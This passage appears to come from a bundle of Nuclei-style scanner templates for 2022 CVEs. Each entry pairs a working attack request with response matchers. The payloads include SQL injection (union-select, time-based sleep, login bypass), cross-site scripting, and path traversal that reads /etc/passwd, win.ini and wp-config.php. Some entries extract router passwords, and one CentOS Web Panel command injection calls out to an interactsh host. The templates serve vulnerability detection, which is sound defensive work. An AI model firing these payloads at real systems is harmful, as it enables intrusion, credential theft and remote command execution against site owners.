application/x-www-form-urlencoded\n\nform_session_token={{nonce}}&username={{username}}&password={{password}}\n","POST /index.php?module=configuration/save&redirect_to=configuration/application HTTP/1.1\nHost: {{Hostname}}\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryMh2HSjWbM7zJjWOA\n\n------WebKitFormBoundaryMh2HSjWbM7zJjWOA\nContent-Disposition: form-data; name=\"form_session_token\"\n\n{{nonce}}\n------WebKitFormBoundaryMh2HSjWbM7zJjWOA\nContent-Disposition: form-data; name=\"CFG[APP_NAME]\"\n\nTest\n------WebKitFormBoundaryMh2HSjWbM7zJjWOA\nContent-Disposition: form-data; name=\"CFG[APP_SHORT_NAME]\"\n\ntest\n------WebKitFormBoundaryMh2HSjWbM7zJjWOA\nContent-Disposition: form-data; name=\"APP_LOGO\"; filename=\"\"\nContent-Type: application/octet-stream\n\n\n------WebKitFormBoundaryMh2HSjWbM7zJjWOA\nContent-Disposition: form-data; name=\"CFG[APP_LOGO]\"\n\n\n------WebKitFormBoundaryMh2HSjWbM7zJjWOA\nContent-Disposition: form-data; name=\"CFG[APP_LOGO_URL]\"\n\n\n------WebKitFormBoundaryMh2HSjWbM7zJjWOA\nContent-Disposition: form-data; name=\"APP_FAVICON\"; filename=\"\"\nContent-Type: application/octet-stream\n\n\n------WebKitFormBoundaryMh2HSjWbM7zJjWOA\nContent-Disposition: form-data; name=\"CFG[APP_FAVICON]\"\n\n\n------WebKitFormBoundaryMh2HSjWbM7zJjWOA\nContent-Disposition: form-data; name=\"CFG[APP_COPYRIGHT_NAME]\"\n\n\n------WebKitFormBoundaryMh2HSjWbM7zJjWOA\nContent-Disposition: form-data; name=\"CFG[APP_LANGUAGE]\"\n\nenglish.php\n------WebKitFormBoundaryMh2HSjWbM7zJjWOA\nContent-Disposition: form-data; name=\"CFG[APP_SKIN]\"\n\n\n------WebKitFormBoundaryMh2HSjWbM7zJjWOA\nContent-Disposition: form-data; name=\"CFG[APP_TIMEZONE]\"\n\nAmerica/New_York\n------WebKitFormBoundaryMh2HSjWbM7zJjWOA\nContent-Disposition: form-data; name=\"CFG[APP_ROWS_PER_PAGE]\"\n\n10\n------WebKitFormBoundaryMh2HSjWbM7zJjWOA\nContent-Disposition: form-data; name=\"CFG[APP_DATE_FORMAT]\"\n\nm/d/Y\n------WebKitFormBoundaryMh2HSjWbM7zJjWOA\nContent-Disposition: form-data; name=\"CFG[APP_DATETIME_FORMAT]\"\n\nm/d/Y H:i\n------WebKitFormBoundaryMh2HSjWbM7zJjWOA\nContent-Disposition: form-data; name=\"CFG[APP_NUMBER_FORMAT]\"\n\n2/./*\n------WebKitFormBoundaryMh2HSjWbM7zJjWOA\nContent-Disposition: form-data; name=\"CFG[APP_FIRST_DAY_OF_WEEK]\"\n\n0\n------WebKitFormBoundaryMh2HSjWbM7zJjWOA\nContent-Disposition: form-data; name=\"CFG[DROP_DOWN_MENU_ON_HOVER]\"\n\n0\n------WebKitFormBoundaryMh2HSjWbM7zJjWOA\nContent-Disposition: form-data; name=\"CFG[DISABLE_CHECK_FOR_UPDATES]\"\n\n0\n------WebKitFormBoundaryMh2HSjWbM7zJjWOA--\n","@timeout: 5s\nGET /index.php?module=dashboard/ HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"redirects":true,"matchers":[{"type":"dsl","dsl":["status_code_4 == 200","contains(content_type_4, \"text/html\")","contains(body_4, \"\")","contains(body_4, \"rukovoditel\")"],"condition":"and"}],"extractors":[{"type":"regex","name":"nonce","group":1,"regex":["id=\"form_session_token\" value=\"(.*)\" type=\"hidden\""],"internal":true}]}]},{"id":"CVE-2022-37299","info":{"name":"Shirne CMS 1.2.0 - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/static/ueditor/php/controller.php?action=proxy&remote=php://filter/convert.base64-encode/resource=/etc/passwd&maxwidth=-1&referer=test"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["cm9vd"]},{"type":"word","part":"header","words":["image/png"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-32015","info":{"name":"Complete Online Job Search System 1.0 - SQL Injection","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?q=category&search=Banking%27%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,md5({{num}}),15,16,17,18,19--+"],"matchers":[{"type":"word","part":"body","words":["{{md5({{num}})}}"]}]}]},{"id":"CVE-2022-35493","info":{"name":"eShop 3.0.4 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/home/get_products?search=%22%3E%3Cimg%20src%3Dx%20onerror%3Dalert(document.domain)%3E"],"matchers-condition":"and","matchers":[{"type":"word","words":["Search Result for \\\">"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-31978","info":{"name":"Online Fire Reporting System v1.0 - SQL injection","severity":"critical"},"requests":[{"raw":["@timeout: 10s\nPOST /classes/Master.php?f=delete_inquiry HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nid='+AND+(SELECT+7774+FROM+(SELECT(SLEEP(6)))dPPt)+AND+'rogN'='rogN\n"],"matchers":[{"type":"dsl","dsl":["duration>=6","status_code == 200","contains(content_type, \"text/html\")","contains(body, \"status\\\":\\\"success\")"],"condition":"and"}]}]},{"id":"CVE-2022-33174","info":{"name":"Powertek Firmware <3.30.30 - Authorization Bypass","severity":"high"},"requests":[{"raw":["GET /cgi/get_param.cgi?xml&sys.passwd&sys.su.name HTTP/1.1\nHost: {{Hostname}}\nCookie: tmpToken=;\n"],"matchers-condition":"and","matchers":[{"type":"word","words":["",""]},{"type":"status","status":[200]}],"extractors":[{"type":"regex","group":1,"regex":["([A-Z0-9a-z]+)<\\/sys\\.passwd>","([a-z]+)<\\/sys\\.su\\.name>"],"part":"body"}]}]},{"id":"CVE-2022-1595","info":{"name":"WordPress HC Custom WP-Admin URL <=1.4 - Admin Login URL Disclosure","severity":"medium"},"requests":[{"raw":["HEAD /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nCookie: valid_login_slug=1\n","HEAD /wp-login.php HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"dsl","dsl":["status_code_1 == 302","contains(header_1, 'wordpress_')","contains(header_1, 'Location')"],"condition":"and"},{"type":"dsl","dsl":["status_code_2 != 302"]}]}]},{"id":"CVE-2022-1221","info":{"name":"WordPress Gwyn's Imagemap Selector <=0.3.3 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/gwyns-imagemap-selector/popup.php?id=1&class=%22%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E","{{BaseURL}}/wp-content/plugins/gwyns-imagemap-selector/popup.php?id=1%22%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"stop-at-first-match":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[" popup-"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-24265","info":{"name":"Cuppa CMS v1.0 - SQL injection","severity":"high"},"requests":[{"raw":["POST / HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nuser={{username}}&password={{password}}&language=en&task=login\n","@timeout: 20s\nPOST /components/menu/ HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\n\npath=component%2Fmenu%2F%26menu_filter%3D3'+and+sleep(6)--+-&data_get=eyJtZW51X2ZpbHRlciI6IjMifQ%3D%3D&uniqueClass=wrapper_content_906185\n"],"cookie-reuse":true,"matchers":[{"type":"dsl","dsl":["duration>=6","status_code_2 == 200","contains(content_type_2, \"text/html\")","contains(body_2, \"menu/html/edit.php\")"],"condition":"and"}]}]},{"id":"CVE-2022-1910","info":{"name":"WordPress Shortcodes and Extra Features for Phlox <2.9.8 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-admin/admin-ajax.php?action=aux_the_recent_products&data[wp_query_args][post_type]=post&data[title]=%3Cscript%3Ealert(document.domain)%3C/script%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["widget-title\">","aux-widget"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-0678","info":{"name":"Microweber <1.2.11 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/demo/api/logout?redirect_to=/asdf%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[">","content=\"Microweber\""],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[404]}]}]},{"id":"CVE-2022-39952","info":{"name":"Fortinet FortiNAC - Arbitrary File Write","severity":"critical"},"requests":[{"method":"POST","path":["{{BaseURL}}/configWizard/keyUpload.jsp"],"body":"--{{boundaryId}}\nContent-Disposition: form-data; name=\"key\"; filename=\"{{to_lower(rand_text_alphanumeric(8))}}.zip\"\n\n{{randstr}}\n--{{boundaryId}}--\n","headers":{"Content-Type":"multipart/form-data; boundary={{boundaryId}}"},"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["zipUploadSuccess","SuccessfulUpload"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-42747","info":{"name":"CandidATS 3.0.0 - Cross-Site Scripting.","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/ajax.php?f=getPipelineJobOrder&joborderID=50&page=0&entriesPerPage=15&sortBy=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E&sortDirection=desc&indexFile=1&isPopup=0"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["","candidat"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[404]}]}]},{"id":"CVE-2022-38637","info":{"name":"Hospital Management System 1.0 - SQL Injection","severity":"critical"},"requests":[{"raw":["POST /hms/user-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nusername=admin%27+or+%271%27%3D%271%27%23&password=admin%27+or+%271%27%3D%271%27%23&submit=\n"],"cookie-reuse":true,"host-redirects":true,"max-redirects":2,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["User | Dashboard","Book My Appointment"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-34047","info":{"name":"WAVLINK WN530HG4 - Improper Access Control","severity":"high"},"requests":[{"raw":["GET /set_safety.shtml?r=52300 HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["var syspasswd=\"","APP"],"condition":"and"},{"type":"status","status":[200]}],"extractors":[{"type":"regex","regex":["syspasswd=\"(.+?)\""]}]}]},{"id":"CVE-2022-3506","info":{"name":"WordPress Related Posts <2.1.3 - Stored Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\n","GET /wp-admin/options-general.php?page=rp4wp HTTP/1.1\nHost: {{Hostname}}\n","POST /wp-admin/options.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\noption_page=rp4wp&action=update&_wpnonce={{nonce}}&_wp_http_referer=%2Fwp-admin%2Foptions-general.php%3Fpage%3Drp4wp&rp4wp%5Bautomatic_linking%5D=1&rp4wp%5Bautomatic_linking_post_amount%5D=3&rp4wp%5Bheading_text%5D=%22+autofocus+onfocus%3Dalert%28document.domain%29%3E&rp4wp%5Bexcerpt_length%5D=15&rp4wp%5Bcss%5D=.rp4wp-related-posts+ul%7Bwidth%3A100%25%3Bpadding%3A0%3Bmargin%3A0%3Bfloat%3Aleft%3B%7D%0D%0A.rp4wp-related-posts+ul%3Eli%7Blist-style%3Anone%3Bpadding%3A0%3Bmargin%3A0%3Bpadding-bottom%3A20px%3Bclear%3Aboth%3B%7D%0D%0A.rp4wp-related-posts+ul%3Eli%3Ep%7Bmargin%3A0%3Bpadding%3A0%3B%7D%0D%0A.rp4wp-related-post-image%7Bwidth%3A35%25%3Bpadding-right%3A25px%3B-moz-box-sizing%3Aborder-box%3B-webkit-box-sizing%3Aborder-box%3Bbox-sizing%3Aborder-box%3Bfloat%3Aleft%3B%7D\n","GET /wp-admin/options-general.php?page=rp4wp&settings-updated=true HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"req-condition":true,"matchers":[{"type":"dsl","dsl":["contains(header_4, 'text/html')","status_code_4 == 200","contains(body_4, \"value=\\\"\\\" autofocus onfocus=alert(document.domain)>\")","contains(body_4, 'The amount of automatically')"],"condition":"and"}],"extractors":[{"type":"regex","name":"nonce","group":1,"regex":["name=\"_wpnonce\" value=\"([0-9a-z]+)\" />"],"internal":true,"part":"body"}]}]},{"id":"CVE-2022-0692","info":{"name":"Rudloff alltube prior to 3.0.1 - Open Redirect","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php/interact.sh"],"matchers":[{"type":"regex","part":"header","regex":["(?m)^(?:Location\\s*?:\\s*?)(?:https?:\\/\\/|\\/\\/|\\/\\\\\\\\|\\/\\\\)(?:[a-zA-Z0-9\\-_\\.@]*)interact\\.sh\\/?(\\/|[^.].*)?$"]}]}]},{"id":"CVE-2022-2373","info":{"name":"WordPress Simply Schedule Appointments <1.5.7.7 - Information Disclosure","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-json/ssa/v1/users"],"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["application/json"]},{"type":"regex","regex":["response_code\":200","\"email\":\"([a-zA-Z-_0-9@.]+)\",\"display_name\":\"([a-zA-Z-_0-9@.]+)\",\"gravatar_url\":\"http?:\\\\\\/\\\\\\/([a-z0-9A-Z.\\\\\\/?=&@_-]+)\""],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-44877","info":{"name":"CentOS Web Panel 7 <0.9.8.1147 - Remote Code Execution","severity":"critical"},"requests":[{"raw":["POST /login/index.php?login=$(ping${IFS}-nc${IFS}2${IFS}`whoami`.{{interactsh-url}}) HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nusername=root&password=toor&commit=Login\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["dns"]},{"type":"word","part":"body","words":["Login Redirect."]},{"type":"status","status":[302]}],"extractors":[{"type":"regex","group":1,"regex":["([a-zA-Z0-9\\.\\-]+)\\.([a-z0-9]+)\\.([a-z0-9]+)\\.\\w+"],"part":"interactsh_request"}]}]},{"id":"CVE-2022-45354","info":{"name":"Download Monitor <= 4.7.60 - Sensitive Information Exposure","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-json/download-monitor/v1/user_data"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\"registered\":","\"display_name\":"],"condition":"and"},{"type":"word","part":"header","words":["application/json"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-31974","info":{"name":"Online Fire Reporting System v1.0 - SQL injection","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/admin/?page=reports&date=2022-05-27%27%20union%20select%201,2,3,md5('{{num}}'),5,6,7,8,9,10--+"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["{{md5(num)}}"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-34045","info":{"name":"WAVLINK WN530HG4 - Improper Access Control","severity":"critical"},"requests":[{"raw":["GET /backupsettings.dat HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["Salted__"]},{"type":"word","part":"header","words":["application/octet-stream"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-31977","info":{"name":"Online Fire Reporting System v1.0 - SQL injection","severity":"critical"},"requests":[{"raw":["@timeout: 10s\nPOST /classes/Master.php?f=delete_team HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nid='+AND+(SELECT+7774+FROM+(SELECT(SLEEP(6)))dPPt)+AND+'rogN'='rogN\n"],"matchers":[{"type":"dsl","dsl":["duration>=6","status_code == 200","contains(content_type, \"text/html\")","contains(body, \"status\\\":\\\"success\\\"}\")"],"condition":"and"}]}]},{"id":"CVE-2022-0594","info":{"name":"WordPress Shareaholic <9.7.6 - Information Disclosure","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-admin/admin-ajax.php?action=shareaholic_debug_info"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["plugin_version","shareaholic_server_reachable"],"condition":"and"},{"type":"word","part":"header","words":["application/json"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-24181","info":{"name":"PKP Open Journal Systems 2.4.8-3.3 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["GET /iupjournals/index.php/esj HTTP/2\nHost: {{Hostname}}\nX-Forwarded-Host: foo\">alert(document.domain)"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-0271","info":{"name":"LearnPress <4.1.6 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-admin/admin-ajax.php?action=lp_background_single_email&lp-dismiss-notice=xxx"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["{\"dismissed\":\"xxx\"}"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-29014","info":{"name":"Razer Sila Gaming Router 2.0.441_api-2.0.418 - Local File Inclusion","severity":"high"},"requests":[{"raw":["POST /ubus/ HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\n{\"jsonrpc\":\"2.0\",\"id\":3,\"method\":\"call\",\"params\":[\"4183f72884a98d7952d953dd9439a1d1\",\"file\",\"read\",{\"path\":\"/etc/passwd\"}]}\n"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-43015","info":{"name":"OpenCATS 0.9.6 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /index.php?m=login&a=attemptLogin HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nusername={{username}}&password={{password}}\n","GET /ajax.php?f=getPipelineJobOrder&joborderID=2&page=0&entriesPerPage=15)\">%20&sortBy=dateCreatedInt&sortDirection=desc&indexFile=index.php&isPopup=0 HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["","MySQL Query Failed"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-28032","info":{"name":"Atom CMS v2.0 - SQL Injection","severity":"critical"},"requests":[{"raw":["@timeout: 20s\nGET /admin/ajax/pages.php?id=(sleep(6)) HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["duration>=6","status_code == 200","contains(body, \"Page Deleted\")"],"condition":"and"}]}]},{"id":"CVE-2022-1119","info":{"name":"WordPress Simple File List <3.2.8 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/simple-file-list/includes/ee-downloader.php?eeFile=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e/wp-config.php"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["DB_NAME","DB_PASSWORD"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-0954","info":{"name":"Microweber <1.2.11 - Stored Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /api/user_login HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nusername={{username}}&password={{password}}\n","POST /api/save_option HTTP/2\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\nReferer: {{BaseURL}}/admin/view:shop/action:options\n\noption_key=checkout_url&option_group=shop&option_value=%22%3E%3CiMg+SrC%3D%22x%22+oNeRRor%3D%22alert(document.domain)%3B%22%3E&module=shop%2Forders%2Fsettings%2Fother\n","POST /module/ HTTP/2\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\nReferer: {{BaseURL}}/admin/view:shop/action:options\n\nmodule=settings%2Fsystem_settings&id=settings_admin_mw-main-module-backend-settings-admin&class=card-body+pt-3&option_group=shop%2Forders%2Fsettings%2Fother&is_system=1&style=position%3A+relative%3B\n"],"cookie-reuse":true,"req-condition":true,"matchers":[{"type":"dsl","dsl":["contains(body_2,\"true\")","contains(body_3,'\\\">\\\" placeholder=\\\"Use default')","contains(header_3,\"text/html\")","status_code_3==200"],"condition":"and"}]}]},{"id":"CVE-2022-4117","info":{"name":"WordPress IWS Geo Form Fields <=1.0 - SQL Injection","severity":"critical"},"requests":[{"raw":["@timeout: 15s\nPOST /wp-admin/admin-ajax.php?action=iws_gff_fetch_states HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\ncountry_id=1%20AND%20(SELECT%2042%20FROM%20(SELECT(SLEEP(6)))b)\n"],"matchers":[{"type":"dsl","dsl":["duration>=6","status_code == 200","contains(body, \"\\\"status\\\":200\") && contains(body, \"{\\\"html\\\":\")"],"condition":"and"}]}]},{"id":"CVE-2022-29007","info":{"name":"Dairy Farm Shop Management System 1.0 - SQL Injection","severity":"critical"},"requests":[{"raw":["POST /dfsms/index.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\n\nusername=admin' or '1'='1&password=1&login=login\n","GET /dfsms/add-category.php HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["Add Product","Admin","DFSMS"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-0208","info":{"name":"WordPress Plugin MapPress <2.73.4 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/?mapp_iframe=1&mapid=--%3E%3Cimg%20src%20onerror=alert(document.domain)%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["text/html"]},{"type":"word","part":"body","words":["","Bad mapid"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-0169","info":{"name":"Photo Gallery by 10Web < 1.6.0 - SQL Injection","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-admin/admin-ajax.php?action=bwg_frontend_data&shortcode_id=1&bwg_tag_id_bwg_thumbnails_0[]=)%22%20union%20select%201,2,3,4,5,6,7,concat(md5({{num}}),%200x2c,%208),9,10,11,12,13,14,15,16,17,18,19,20,21,22,23%20--%20g"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["{{md5(num)}}"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-1040","info":{"name":"Sophos Firewall <=18.5 MR3 - Remote Code Execution","severity":"critical"},"requests":[{"method":"POST","path":["{{BaseURL}}/userportal/Controller?mode=8700&operation=1&datagrid=179&json={\"\ud83e\udd9e\":\"test\"}"],"headers":{"X-Requested-With":"XMLHttpRequest"},"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["{\"status\":\"Session Expired\"}"]},{"type":"word","part":"header","words":["Server: xxxx"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-26233","info":{"name":"Barco Control Room Management Suite <=2.9 Build 0275 - Local File Inclusion","severity":"high"},"requests":[{"raw":["GET /..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\windows\\win.ini HTTP/1.1\nHost: {{Hostname}}\n\n"],"unsafe":true,"matchers":[{"type":"word","part":"body","words":["bit app support","fonts","extensions"],"condition":"and"}]}]},{"id":"CVE-2022-0218","info":{"name":"HTML Email Template Designer < 3.1 - Stored Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?rest_route=/whm/v3/themesettings"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\"background\":","\"footer\":"],"condition":"and"},{"type":"word","part":"header","words":["application/json"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-29298","info":{"name":"SolarView Compact 6.00 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/downloader.php?file=../../../../../../../../../../../../../etc/passwd%00.jpg"],"matchers-condition":"and","matchers":[{"type":"regex","part":"body","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-24856","info":{"name":"Flyte Console <0.52.0 - Server-Side Request Forgery","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/cors_proxy/https://oast.me/"],"matchers":[{"type":"word","words":["Interactsh Server"]}]}]},{"id":"CVE-2022-40083","info":{"name":"Labstack Echo 4.8.0 - Open Redirect","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}//interactsh.com%2f.."],"matchers-condition":"and","matchers":[{"type":"regex","part":"location","regex":["^\\s*//interactsh.com/\\.\\."]},{"type":"status","status":[301]}]}]},{"id":"CVE-2022-30489","info":{"name":"Wavlink WN-535G3 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /cgi-bin/login.cgi HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nnewUI=1&page=login&username=admin&langChange=0&ipaddr=x.x.x.x&login_page=login.shtml&homepage=main.shtml&sysinitpage=sysinit.shtml&hostname=\")&key=M27234733&password=63a36bceec2d3bba30d8611c323f4cda&lang_=cn\n"],"matchers-condition":"and","matchers":[{"type":"word","words":["","parent.location.replace(\"http://\")"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-1057","info":{"name":"WordPress Pricing Deals for WooCommerce <=2.0.2.02 - SQL Injection","severity":"critical"},"requests":[{"raw":["@timeout: 15s\nGET /wp-admin/admin-ajax.php?action=vtprd_product_search_ajax&term=aaa%27+union+select+1,sleep(6),3--+- HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["duration>=6","status_code == 500","contains(body, \"been a critical error\")"],"condition":"and"}]}]},{"id":"CVE-2022-2467","info":{"name":"Garage Management System 1.0 - SQL Injection","severity":"critical"},"requests":[{"raw":["@timeout: 10s\nPOST /login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nusername=1@a.com' AND (SELECT 6427 FROM (SELECT(SLEEP(5)))LwLu) AND 'hsvT'='hsvT&password=412312&login=test2334\n"],"matchers-condition":"and","matchers":[{"type":"dsl","dsl":["duration>=5"]},{"type":"word","part":"body","words":["Garage Billing Software"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-36883","info":{"name":"Jenkins Git <=4.11.3 - Missing Authorization","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/git/notifyCommit?url={{randstr}}&branches={{randstr}}"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["repository:","SCM API plugin"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-29383","info":{"name":"NETGEAR ProSafe SSL VPN firmware - SQL Injection","severity":"critical"},"requests":[{"raw":["POST /scgi-bin/platform.cgi HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded; charset=utf-8\n\nthispage=index.htm&USERDBUsers.UserName=NjVI&USERDBUsers.Password=&USERDBDomains.Domainname=geardomain'+AND+'5434'%3d'5435'+AND+'MwLj'%3d'MwLj&button.login.USERDBUsers.router_status=Login&Login.userAgent=MDpd\n","POST /scgi-bin/platform.cgi HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded; charset=utf-8\n\nthispage=index.htm&USERDBUsers.UserName=NjVI&USERDBUsers.Password=&USERDBDomains.Domainname=geardomain'+AND+'5434'%3d'5434'+AND+'MwLj'%3d'MwLj&button.login.USERDBUsers.router_status=Login&Login.userAgent=MDpd\n"],"req-condition":true,"matchers":[{"type":"dsl","dsl":["contains(body_1, \"User authentication Failed\")","contains(body_2, \"User Login Failed for SSLVPN User.\")"],"condition":"and"}]}]},{"id":"CVE-2022-0656","info":{"name":"uDraw <3.3.3 - Local File Inclusion","severity":"high"},"requests":[{"raw":["POST /wp-admin/admin-ajax.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\nX-Requested-With: XMLHttpRequest\n\naction=udraw_convert_url_to_base64&url=/etc/passwd\n"],"matchers-condition":"and","matchers":[{"type":"word","words":["cm9vd","data:image\\/;base64"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-1904","info":{"name":"WordPress Easy Pricing Tables <3.2.1 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-admin/admin-ajax.php?action=ptp_design4_color_columns&post_id=1&column_names="],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[" - Color"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-0949","info":{"name":"WordPress Stop Bad Bots <6.930 - SQL Injection","severity":"critical"},"requests":[{"raw":["POST /wp-admin/admin-ajax.php HTTP/1.1\nHost: {{Hostname}}\nX-Real-IP: {{IP}}\nContent-Type: 